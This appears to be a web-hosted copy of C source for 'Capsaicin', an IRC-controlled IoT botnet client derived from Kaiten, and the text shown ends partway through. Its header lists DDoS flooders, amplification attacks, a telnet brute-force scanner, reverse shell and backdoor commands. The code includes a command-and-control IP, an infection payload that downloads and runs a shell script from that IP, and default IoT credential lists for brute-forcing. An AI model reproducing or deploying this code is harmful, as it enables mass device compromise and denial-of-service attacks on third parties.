Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/IRC/Capsaicin_iot.4f38d2.c
5038 views
1
/*******************************************************************************
2
* This is a remake of Kaiten, hacked together from various versions scattered *
3
* throughout cyberspace. New features include a variety of awesome shell one- *
4
* liners, ability to upgrade the knight over http (via gcc or static binary), *
5
* a feature called "HackPkg" that installs binaries without dependencies like *
6
* wget or tftp, and more! Tip: run GETBB <tftp ip> first to get the most out *
7
* of this bot (it will install to /var/bin, which is almost always writable). *
8
* The LOCKUP command will kill telnetd and run a backdoor of your choice (for *
9
* simplicity we assume you will run it on port 23). This bot is updated often,*
10
* so check back frequently for new killer features and ddos tools. In memory *
11
* of David Bowie, buse he was an awesome musician and passed during the *
12
* early development of this bot. By ShellzRuS and all the other developers *
13
* that have worked on Kaiten over the last 20 years. *
14
* *
15
* "Hacking on kaiten is a right of passage" --Kod *
16
*******************************************************************************
17
* This is a IRC based distributed denial of service client. It connects to *
18
* the server specified below and accepts commands via the channel specified. *
19
* The syntax is: *
20
* !<nick> <command> *
21
* You send this message to the channel that is defined later in this code. *
22
* Where <nick> is the nickname of the client (which can include wildcards) *
23
* and the command is the command that should be sent. For example, if you *
24
* want to tell all the clients with the nickname starting with N, to send you *
25
* the help message, you type in the channel: *
26
* *
27
* This variant is special. *
28
* It 16 DDoS methods in total!!! which include three amplification methods *
29
* DNS, NTP, and SNMP *
30
* It has a spoofed UDP flooder, 2 non-spoofed UDP flooders, a mulithreaded *
31
* spoofed TCP flooder (allows flags/attack method), vanilla TCP connection *
32
* flood, and non spoofed vanilla TCP random data flood. *
33
* Packets are made up of random bytes, between 0x00 - 0xFF. And random packet *
34
* size between 32 - 1024. It is extemely hard to block. *
35
* it also has blacknurse! :D *
36
* it also has 5 non root/non spoof attack methods in which ALL bots can run! *
37
* it has phatwonk, which I coded in about 15 minutes, based off of PAN. You *
38
* can set( any flag, such as syn, fin, psh, rst, xmas, usyn. Anything TCP *
39
* I have added the prometheus v4 telnet scanner which I have modified. *
40
* It now uses 18 default IoT device username and password combinations *
41
* it also uses the Mirai IP range generator to increase scanning speed. *
42
* The scanner now calls /bin/sh before sending the infection payload *
43
* the scanner starts a new fork() for each CPU core. (not by me) *
44
* And increases sockets according to how many CPUs exist. *
45
* the scanner also reports all cracked telnet credentials and successful *
46
* infections to the main command and control channel. *
47
* *
48
* Successes: *
49
* [TELNET] [+] CRACKED ---> 1.2.3.4:23 username:password *
50
* [TELNET] [+] INFECTED ---> 1.2.3.4:23 username:password *
51
* *
52
* *
53
* The scanner is started once connected to the server. *
54
* This way your bots only scan when they are connected, so *
55
* if your server is down, they wont scan. And it will appear as if your net *
56
* got killed but they will still attempt to connect to your server(s) *
57
* and start the scanner again if they are able to connect *
58
* *
59
* I have also added an advanced process name based botkiller. *
60
* The botkiller tries to find the bot, then kills it also, not to mention if *
61
* it exists on the HDD the bot that was killed gets deleted. *
62
* NO shell commands are required for the botkiller! *
63
* Also the botnet can detect 15 different architectures :) *
64
* All bot nicknames are PREFIX|ARCH|RANDID. Examples: *
65
* [BOT|MIPS]Jg6dug or [BOT|x86_64]kA79aLOi, etc. *
66
* Bot IDs are rand 4 - 8 alphanumeric charactars. *
67
* where PREFIX is what you specify, ARCH is the architecture. *
68
* RANDID is the bot suffix / ID. *
69
* !N* HELP *
70
* That will send you a list of all the commands. You can also specify an *
71
* astrick alone to make all client do a specific command: *
72
* !* SH uname -a *
73
* There are a large number of commands that can be sent to the client: *
74
* *
75
* Non-spoof / non-root attacks: (can run on all bots) *
76
* STD <ip> <port> <time> = A non spoof UDP HIV STD flooder *
77
* HOLD <host> <port> <time> = A vanilla TCP connection flooder *
78
* JUNK <host> <port> <time> = A vanilla TCP flooder (modded) *
79
* UNKNOWN <target> <port, 0 for random> <packet size, 0 for random> <secs> = Another non-spoof udp flooder
80
* HTTP <url> <secs> = A HTTP(S) flooder *
81
* *
82
* Spoof / root attacks: *
83
* PAN <target> <port> <secs> = A SYN flooder *
84
* TCP <target> <port> <time> <flags/method> <packetsize> <pollinterval> <threads> = An advanced spoofed TCP flooder. Multithreading and xmas, usyn methods.
85
* UDP <target> <port> <secs> = An UDP flooder *
86
* PHATWONK <target> <flags/method> <secs> = A leet flooder coded by Freak, attacks 31 ports. Can set flags or attack method.
87
* BLACKNURSE <target ip> <secs> = An ICMP flooder that will crash most firewalls, causing them to drop packets.
88
* Amplification attacks: *
89
* NTP <target IP> <target port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time> = A DrDoS flooder using the NTP protocol
90
* DNS <IP> <port> <reflection file url> <threads> <time> = DNS DrDoS flooder
91
* SNMP <IP> <port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time> = SNMP DrDoS flooder. Extremely fucking insane amp factor!!! (600 - 1700x)
92
* *
93
* Bot commands: *
94
* SCANNER <ON/OFF> = Toggles scanner. Started automatically. *
95
* DNS2IP <domain> = Get IP address from domain *
96
* RNDNICK = Randomizes knight nickname *
97
* NICK <nick> = Changes the nick of the client *
98
* SERVER <server> = Changes servers *
99
* GETSPOOFS = Gets the current spoofing *
100
* SPOOFS <subnet> = Changes spoofing to a subnet *
101
* DISABLE = Disables all packeting from the knight *
102
* ENABLE = Enables all packeting from the knight *
103
* KILL = Kills the knight *
104
* GET <http address> <save as> = Downloads a file off the web *
105
* VERSION = Requests version of knight *
106
* KILLALL = Kills all current packeting *
107
* HELP = Displays this *
108
* IRC <command> = Sends this command to the server *
109
* SH <command> = Executes a command *
110
* BASH <command> = Run a bash command *
111
* ISH <command> = Interactive SH (via privmsg) *
112
* SHD <command> = Daemonize command *
113
* UPDATE <http://server/bot> = Update this bot *
114
* HACKPKG <http://server/bin> = Install binary (no dependencies) *
115
* INSTALL <http://server/bin> = Install binary (via wget) *
116
* BINUPDATE <http://server/bin> = Update a binary (via wget) *
117
* SCAN <nmap opts> = Call an nmap wrapper script *
118
* GETSSH <http:serverdropbear> = Install dropbear, run on port 30022 *
119
* RSHELL <ip port> = Equates to nohup nc ip port *
120
* GETBB <tftp server> = Get a proper busybox (via tftp) *
121
* LOCKUP <http://server/bin> = Kill telnet, install a backdoor! *
122
* *
123
* Remember, all these commands must be prefixed by ! and the bot ID that you *
124
* want the command to be sent to (can include wildcards). *
125
* spaces in between the ! and the nickname, and there are no spaces before *
126
* the ! *
127
* *
128
* #NullzSec #kektheplanet *
129
* *
130
* - come on irc.anonplus.org - Leonidus, IrishSec, Milenko *
131
* *
132
* *NEW* Setup tutorial! https://pastebin.com/FXhvpn0D *
133
* *
134
* Kaiten variant coded by Freak aka Milenko aka whateverthefuckyouknowmeas *
135
* HACK THE PLANET *
136
* *
137
* Donate BTC so i has moar monies ^_^ THX *
138
* 1D7GMefDEoUdashTHXxC929Au3n896YLuw *
139
* *
140
* All code will be updated here. To contribute message me on Jabber / XMPP *
141
* Jabber/XMPP: [email protected] *
142
* Code was last updated on: Saturday, July 11th, 2017 *
143
* *
144
*******************************************************************************/
145
////////////////////////////////////////////////////////////////////////////////
146
// EDIT THESE //
147
////////////////////////////////////////////////////////////////////////////////
148
#undef STARTUP // Start on startup?
149
#undef IDENT // Only enable this if you absolutely have to
150
#define CHAN "#CSIS" // Channel to join
151
#define KEY "sewgfeg" // The key of the channel
152
#define PREFIX "KEK" // The NICK prefix
153
int numservers=1; // Must change this to equal number of servers down there
154
char *servers[] = { // List the servers in that format, always end in (void*)0
155
"104.238.148.120",
156
(void*)0
157
};
158
int nummasters = 1;
159
char *masters[] = { // *NEW* List of master nicks :)
160
"Freak"
161
};
162
// Telnet scanner payload, must end with \r\n\0
163
char *rekdevice = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://104.238.148.120/update.sh; busybox wget http://104.238.148.120/update.sh; /bin/busybox wget http://104.238.148.120/update.sh; /usr/busybox wget http://104.238.148.120/update.sh; /var/run/busybox wget http://104.238.148.120/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh";
164
165
////////////////////////////////////////////////////////////////////////////////
166
// STOP HERE! //
167
////////////////////////////////////////////////////////////////////////////////
168
#include <stdarg.h>
169
#include <errno.h>
170
#include <stdio.h>
171
#include <stdlib.h>
172
#include <string.h>
173
#include <fcntl.h>
174
#include <strings.h>
175
#include <unistd.h>
176
#include <dirent.h>
177
#include <poll.h>
178
#include <netdb.h>
179
#include <time.h>
180
#include <net/if.h>
181
#include <sys/wait.h>
182
#include <sys/time.h>
183
#include <sys/ioctl.h>
184
#include <arpa/inet.h>
185
#include <sys/socket.h>
186
#include <netinet/ip.h>
187
#include <netinet/in.h>
188
#include <netinet/tcp.h>
189
#include <netinet/udp.h>
190
#include <resolv.h>
191
//amp setting
192
#define MAX_PACKET_SIZE 1024
193
#define PHI 0x9e3779b9
194
//DNS amp
195
#define PACKETS_PER_RESOLVER 25
196
197
//telnet scanner stuff
198
#define BUFFER_SIZE 1024
199
#define CMD_IAC 255
200
#define CMD_WILL 251
201
#define CMD_WONT 252
202
#define CMD_DO 253
203
#define CMD_DONT 254
204
205
#define PAD_RIGHT 1
206
#define PAD_ZERO 2
207
#define PRINT_BUF_LEN 12
208
209
#define OPT_SGA 3
210
#define SOCKBUF_SIZE 1024
211
212
//lil tool
213
#define NUMITEMS(x) (sizeof(x) / sizeof((x)[0]))
214
215
const char *knownBots[] = {
216
"mirai.*",
217
"dlr.*"
218
"mips",
219
"mips64",
220
"mipsel",
221
"sh2eb",
222
"sh2elf",
223
"sh4",
224
"x86",
225
"arm",
226
"armv5",
227
"armv4tl",
228
"armv4",
229
"armv6",
230
"i686",
231
"powerpc",
232
"powerpc440fp",
233
"i586",
234
"m68k",
235
"sparc",
236
"x86_64",
237
"jackmy*",
238
"hackmy*",
239
"b1",
240
"b2",
241
"b3",
242
"b4",
243
"b5",
244
"b6",
245
"b7",
246
"b8",
247
"b9",
248
"b10",
249
"b11",
250
"b12",
251
"b13",
252
"b14",
253
"b15",
254
"b16",
255
"b17",
256
"b18",
257
"b19",
258
"b20",
259
"busyboxterrorist",
260
"dvrHelper",
261
"kmy*",
262
"lol*",
263
"telmips",
264
"telmips64",
265
"telmipsel",
266
"telsh2eb",
267
"telsh2elf",
268
"telsh4",
269
"telx86",
270
"telarmv5",
271
"telarmv4tl",
272
"telarmv4",
273
"telarmv6",
274
"teli686",
275
"telpowerpc",
276
"telpowerpc440fp",
277
"teli586",
278
"telm68k",
279
"telsparc",
280
"telx86_64",
281
"TwoFace*",
282
"xxb*",
283
"bb",
284
"busybotnet",
285
"busybox",
286
"badbox",
287
"B1",
288
"B2",
289
"B3",
290
"B4",
291
"B5",
292
"B6",
293
"B7",
294
"B8",
295
"B9",
296
"B10",
297
"B11",
298
"B12",
299
"B13",
300
"B14",
301
"B15",
302
"B16",
303
"B17",
304
"B18",
305
"B20",
306
"gaybot",
307
"hackz",
308
"bin*",
309
"gtop",
310
"botnet",
311
"swatnet",
312
"ballpit",
313
"fucknet",
314
"cracknet",
315
"weednet",
316
"gaynet",
317
"queernet",
318
"ballnet",
319
"unet",
320
"yougay",
321
"sttftp",
322
"sstftp",
323
"sbtftp",
324
"btftp",
325
"y0u1sg3y",
326
"bruv*",
327
"IoT*"
328
};
329
330
char *UserAgents[] = {
331
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
332
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
333
"Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
334
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
335
"Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
336
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
337
"Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
338
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
339
"Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
340
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
341
"Mozilla/5.0 (PLAYSTATION 3; 3.55)",
342
"Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
343
"wii libnup/1.0",
344
"Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
345
"PSP (PlayStation Portable); 2.00",
346
"Bunjalloo/0.7.6(Nintendo DS;U;en)",
347
"Doris/1.15 [en] (Symbian)",
348
"BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
349
"BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
350
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
351
"Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
352
"Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
353
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
354
"Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
355
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
356
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
357
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
358
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
359
"SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
360
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
361
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
362
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
363
"MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
364
"Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
365
"Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
366
"MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
367
};
368
369
370
371
372
char *usernames[] = {
373
"root\0",
374
"root\0",
375
"root\0",
376
"root\0",
377
"root\0",
378
"root\0",
379
"root\0",
380
"root\0",
381
"root\0",
382
"root\0",
383
"root\0",
384
"root\0",
385
"root\0",
386
"root\0",
387
"root\0",
388
"root\0",
389
"root\0",
390
"root\0",
391
"root\0",
392
"root\0",
393
"root\0",
394
"root\0",
395
"root\0",
396
"root\0",
397
"root\0",
398
"root\0",
399
"root\0",
400
"root\0",
401
"admin\0",
402
"admin\0",
403
"admin\0",
404
"admin\0",
405
"admin\0",
406
"admin\0",
407
"admin\0",
408
"admin\0",
409
"admin\0",
410
"admin\0",
411
"admin\0",
412
"admin\0",
413
"admin\0",
414
"admin\0",
415
"admin\0",
416
"admin\0",
417
"admin\0",
418
"admin\0",
419
"admin\0",
420
"admin\0",
421
"admin\0",
422
"guest\0",
423
"guest\0",
424
"guest\0",
425
"guest\0",
426
"guest\0",
427
"guest\0",
428
"guest\0",
429
"root\0",
430
"admin\0",
431
"root\0",
432
"default\0",
433
"user\0",
434
"guest\0",
435
"daemon\0",
436
"admin\0",
437
"admin\0",
438
"root\0",
439
"admin\0",
440
"adm\0",
441
"guest\0",
442
"root\0",
443
"root\0",
444
"telnet\0",
445
"root\0",
446
"admin\0",
447
"admin\0",
448
"Administrator\0",
449
"root\0",
450
"mg3500\0",
451
"admin\0",
452
"admin\0",
453
"admin\0",
454
"admin\0",
455
"admin\0",
456
"admin\0",
457
"default\0",
458
"admin\0",
459
"admin\0",
460
"admin\0",
461
"root\0",
462
"root\0",
463
"root\0",
464
"root\0",
465
"admin1\0",
466
"ubnt\0",
467
"support\0",
468
"root\0",
469
"user\0",
470
"\0",
471
"root\0",
472
"guest\0"
473
};
474
475
char *passwords[] = {
476
"000000\0",
477
"14567\0",
478
"hi3518\0",
479
"user\0",
480
"pass\0",
481
"admin14\0",
482
"7ujMko0admin\0",
483
"00000000\0",
484
"<>\0",
485
"klv1\0",
486
"klv14\0",
487
"oelinux1\0",
488
"realtek\0",
489
"1111\0",
490
"54321\0",
491
"antslq\0",
492
"zte9x15\0",
493
"system\0",
494
"root\0",
495
"1456\0",
496
"888888\0",
497
"ikwb\0",
498
"password\0",
499
"default\0",
500
"juantech\0",
501
"Zte521\0",
502
"\0",
503
"xc3511\0",
504
"support\0",
505
"1111111\0",
506
"service\0",
507
"145\0",
508
"4321\0",
509
"tech\0",
510
"<>\0",
511
"abc1\0",
512
"7ujMko0admin\0",
513
"switch\0",
514
"admin14\0",
515
"\0",
516
"1111\0",
517
"meinsm\0",
518
"pass\0",
519
"smcadmin\0",
520
"14567890\0",
521
"14\0",
522
"admin1\0",
523
"password\0",
524
"admin\0",
525
"Zte521\0",
526
"anko\0",
527
"xc3511\0",
528
"1456\0",
529
"\0",
530
"guest\0",
531
"145\0",
532
"xc3511\0",
533
"admin\0",
534
"Zte521\0",
535
"\0",
536
"user\0",
537
"guest\0",
538
"\0",
539
"password\0",
540
"admin1\0",
541
"ikwb\0",
542
"14567890\0",
543
"\0",
544
"\0",
545
"1456\0",
546
"root\0",
547
"telnet\0",
548
"zte9x15\0",
549
"meinsm\0",
550
"\0",
551
"\0",
552
"antslq\0",
553
"merlin\0",
554
"switch\0",
555
"7ujMko0admin\0",
556
"abc1\0",
557
"<>\0",
558
"tech\0",
559
"4321\0",
560
"default\0",
561
"145\0",
562
"service\0",
563
"1111111\0",
564
"admin14\0",
565
"pass\0",
566
"user\0",
567
"hi3518\0",
568
"password\0",
569
"ubnt\0",
570
"zlxx.\0",
571
"14567\0",
572
"\0",
573
"\0",
574
"000000\0",
575
"Zte521\0"
576
};
577
578
579
int scanPid = 0;
580
581
char *advances[] = {":", "ser", "ogin", "name", "pass", "dvrdvs", (char*)0};
582
char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "error", "goodbye", "bad", "timeout", (char*)0};
583
char *tmpdirs[] = {"/tmp/", "/var/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};
584
char *successes[] = {"$", "#", ">", "shell", "dvrdvs", "usybox", (char*)0};
585
char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
586
char *shellz[] = {"shell", "sh", "/bin/sh", "dash", (char*)0};
587
588
struct ipstate_t
589
{
590
int fd;
591
unsigned int ip;
592
unsigned char state;
593
unsigned char complete;
594
unsigned char usernameInd;
595
unsigned char passwordInd;
596
unsigned char tempDirInd;
597
unsigned int totalTimeout;
598
unsigned short bufUsed;
599
unsigned int telPort;
600
char *sockbuf;
601
};
602
603
int sock,changeservers=0;
604
int *pids, actualparent;
605
char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256], dispass[256];
606
607
//unsigned int *pids;
608
unsigned long spoofs=0, spoofsm=0, numpids=0;
609
610
char *getBuild() { //Get current architecture, detectx nearly every architecture. Coded by Freak
611
#if defined(__x86_64__) || defined(_M_X64)
612
return "x86_64";
613
#elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86)
614
return "x86_32";
615
#elif defined(__ARM_ARCH_2__)
616
return "ARM2";
617
#elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
618
return "ARM3";
619
#elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
620
return "ARM4T";
621
#elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
622
return "ARM5"
623
#elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)
624
return "ARM6T2";
625
#elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)
626
return "ARM6";
627
#elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
628
return "ARM7";
629
#elif defined(__aarch64__)
630
return "ARM64";
631
#elif defined(mips) || defined(__mips__) || defined(__mips)
632
return "MIPS";
633
#elif defined(__sh__)
634
return "SUPERH";
635
#elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
636
return "POWERPC";
637
#elif defined(__sparc__) || defined(__sparc)
638
return "SPARC";
639
#elif defined(__m68k__)
640
return "M68K";
641
#else
642
return "UNKNOWN";
643
#endif
644
}
645
static struct hostent *fake_hostent(const char *hostname, struct in_addr addr,
646
struct hostent *result, char *buf,
647
int bufsize, int *errval);
648
static struct hostent *file_find_name(const char *name, struct hostent *result,
649
char *buf, int bufsize, int *errval);
650
651
struct hostent *gethostbyname(const char *hostname)
652
{
653
struct res_data *data = _res_init();
654
655
if (!data)
656
return NULL;
657
if (!data->buf) {
658
data->buf = malloc(sizeof(struct hostent) + HOST_BUFSIZE);
659
if (!data->buf) {
660
errno = 0;
661
data->errval = NO_RECOVERY;
662
return NULL;
663
}
664
}
665
return gethostbyname_r(hostname, (struct hostent *) data->buf,
666
data->buf + sizeof(struct hostent), HOST_BUFSIZE,
667
&data->errval);
668
}
669
670
struct hostent *gethostbyname_r(const char *hostname, struct hostent *result,
671
char *buf, int bufsize, int *errval)
672
{
673
struct in_addr addr;
674
querybuf qbuf;
675
const char *p;
676
int n;
677
678
/* Default failure condition is not a range error and not recoverable. */
679
errno = 0;
680
*errval = NO_RECOVERY;
681
682
/* Check for all-numeric hostname with no trailing dot. */
683
if (isdigit(hostname[0])) {
684
p = hostname;
685
while (*p && (isdigit(*p) || *p == '.'))
686
p++;
687
if (!*p && p[-1] != '.') {
688
/* Looks like an IP address; convert it. */
689
if (inet_aton(hostname, &addr) == -1) {
690
*errval = HOST_NOT_FOUND;
691
return NULL;
692
}
693
return fake_hostent(hostname, addr, result, buf, bufsize, errval);
694
}
695
}
696
697
/* Do the search. */
698
n = res_search(hostname, C_IN, T_A, qbuf.buf, sizeof(qbuf));
699
if (n >= 0)
700
return _res_parse_answer(&qbuf, n, 0, result, buf, bufsize, errval);
701
else if (errno == ECONNREFUSED)
702
return file_find_name(hostname, result, buf, bufsize, errval);
703
else
704
return NULL;
705
}
706
707
static struct hostent *fake_hostent(const char *hostname, struct in_addr addr,
708
struct hostent *result, char *buf,
709
int bufsize, int *errval)
710
{
711
int len = strlen(hostname);
712
char *name, *addr_ptr;
713
714
if (SP(SP(SP(buf, char, len + 1), addr, 1), char *, 3) > buf + bufsize) {
715
errno = ERANGE;
716
return NULL;
717
}
718
719
/* Copy faked name and address into buffer. */
720
strcpy(buf, hostname);
721
name = buf;
722
buf = ALIGN(buf + len + 1, addr);
723
*((struct in_addr *) buf) = addr;
724
addr_ptr = buf;
725
buf = ALIGN(buf + sizeof(addr), char *);
726
((char **) buf)[0] = addr_ptr;
727
((char **) buf)[1] = NULL;
728
((char **) buf)[2] = NULL;
729
730
result->h_name = name;
731
result->h_aliases = ((char **) buf) + 2;
732
result->h_addrtype = AF_INET;
733
result->h_length = sizeof(addr);
734
result->h_addr_list = (char **) buf;
735
736
return result;
737
}
738
739
static struct hostent *file_find_name(const char *name, struct hostent *result,
740
char *buf, int bufsize, int *errval)
741
{
742
char **alias;
743
FILE *fp = NULL;
744
745
sethostent(0);
746
while ((result = gethostent_r(result, buf, bufsize, errval)) != NULL) {
747
/* Check the entry's name and aliases against the given name. */
748
if (strcasecmp(result->h_name, name) == 0)
749
break;
750
for (alias = result->h_aliases; *alias; alias++) {
751
if (strcasecmp(*alias, name) == 0)
752
break;
753
}
754
}
755
if (!result && errno != ERANGE)
756
*errval = HOST_NOT_FOUND;
757
return result;
758
}
759
760
u_char rseed[4096];
761
int rsi, rnd, pid;
762
763
// Calculates the checksum of the ip header.
764
unsigned short csum(unsigned short *ptr,int nbytes) {
765
register long sum;
766
unsigned short oddbyte;
767
register short answer;
768
769
sum=0;
770
while(nbytes>1) {
771
sum+=*ptr++;
772
nbytes-=2;
773
}
774
if(nbytes==1) {
775
oddbyte=0;
776
*((u_char*)&oddbyte)=*(u_char*)ptr;
777
sum+=oddbyte;
778
}
779
780
sum = (sum>>16)+(sum & 0xffff);
781
sum = sum + (sum>>16);
782
answer=(short)~sum;
783
return(answer);
784
}
785
786
int strwildmatch(const char* pattern, const char* string) {
787
switch(*pattern) {
788
case '\0': return *string;
789
case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
790
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
791
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
792
}
793
}
794
795
int Send(int sock, char *words, ...) {
796
static char textBuffer[1024];
797
va_list args;
798
va_start(args, words);
799
vsprintf(textBuffer, words, args);
800
va_end(args);
801
return write(sock,textBuffer,strlen(textBuffer));
802
}
803
804
int mfork(char *sender) {
805
unsigned int parent, *newpids, i;
806
if(disabled == 1) {
807
Send(sock, "NOTICE %s :Unable to comply.\n", sender);
808
return 1;
809
}
810
parent=fork();
811
if(parent <= 0) return parent;
812
numpids++;
813
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
814
for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
815
newpids[numpids-1]=parent;
816
free(pids);
817
pids=newpids;
818
return parent;
819
}
820
821
unsigned long getspoof() {
822
if(!spoofs) return rand();
823
if(spoofsm == 1) return ntohl(spoofs);
824
return ntohl(spoofs+(rand() % spoofsm)+1);
825
}
826
827
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
828
829
char *randstring(int length) {
830
srand(time(NULL));
831
char *charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
832
size_t stringLen = 26*2+10;
833
char *randomString;
834
835
randomString = malloc(sizeof(char) * (length +1));
836
837
if(!randomString) {
838
return (char*)0;
839
}
840
841
unsigned int key = 0;
842
843
int n;
844
845
for (n = 0;n < length;n++) {
846
key = rand() % stringLen;
847
randomString[n] = charset[key];
848
}
849
850
randomString[length] = '\0';
851
852
return randomString;
853
}
854
855
void identd() {
856
int sockname,sockfd,sin_size,tmpsock,i;
857
struct sockaddr_in my_addr,their_addr;
858
char szBuffer[1024];
859
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
860
my_addr.sin_family = AF_INET;
861
my_addr.sin_port = htons(113);
862
my_addr.sin_addr.s_addr = INADDR_ANY;
863
memset(&(my_addr.sin_zero), 0, 8);
864
if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
865
if(listen(sockfd, 1) == -1) return;
866
if(fork() == 0) return;
867
sin_size = sizeof(struct sockaddr_in);
868
if((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
869
for(;;) {
870
fd_set bla;
871
struct timeval timee;
872
FD_ZERO(&bla);
873
FD_SET(tmpsock,&bla);
874
timee.tv_sec=timee.tv_usec=60;
875
if(select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
876
if(FD_ISSET(tmpsock,&bla)) break;
877
}
878
i = recv(tmpsock,szBuffer,1024,0);
879
if(i <= 0 || i >= 20) exit(0);
880
szBuffer[i]=0;
881
if(szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
882
if(szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
883
Send(tmpsock, "%s : USERID : UNIX : %s\n",szBuffer,ident);
884
close(tmpsock);
885
close(sockfd);
886
exit(0);
887
}
888
889
long poww(long a, long b) {
890
if(b == 0) return 1;
891
if(b == 1) return a;
892
return a*poww(a,b-1);
893
}
894
895
u_short in_cksum(u_short *addr, int len) {
896
register int nleft = len;
897
register u_short *w = addr;
898
register int sum = 0;
899
u_short answer =0;
900
while(nleft > 1) {
901
sum += *w++;
902
nleft -= 2;
903
}
904
if(nleft == 1) {
905
*(u_char *)(&answer) = *(u_char *)w;
906
sum += answer;
907
}
908
sum = (sum >> 16) + (sum & 0xffff);
909
sum += (sum >> 16);
910
answer = ~sum;
911
return(answer);
912
}
913
914
void get(int sock, char *sender, int argc, char **argv) {
915
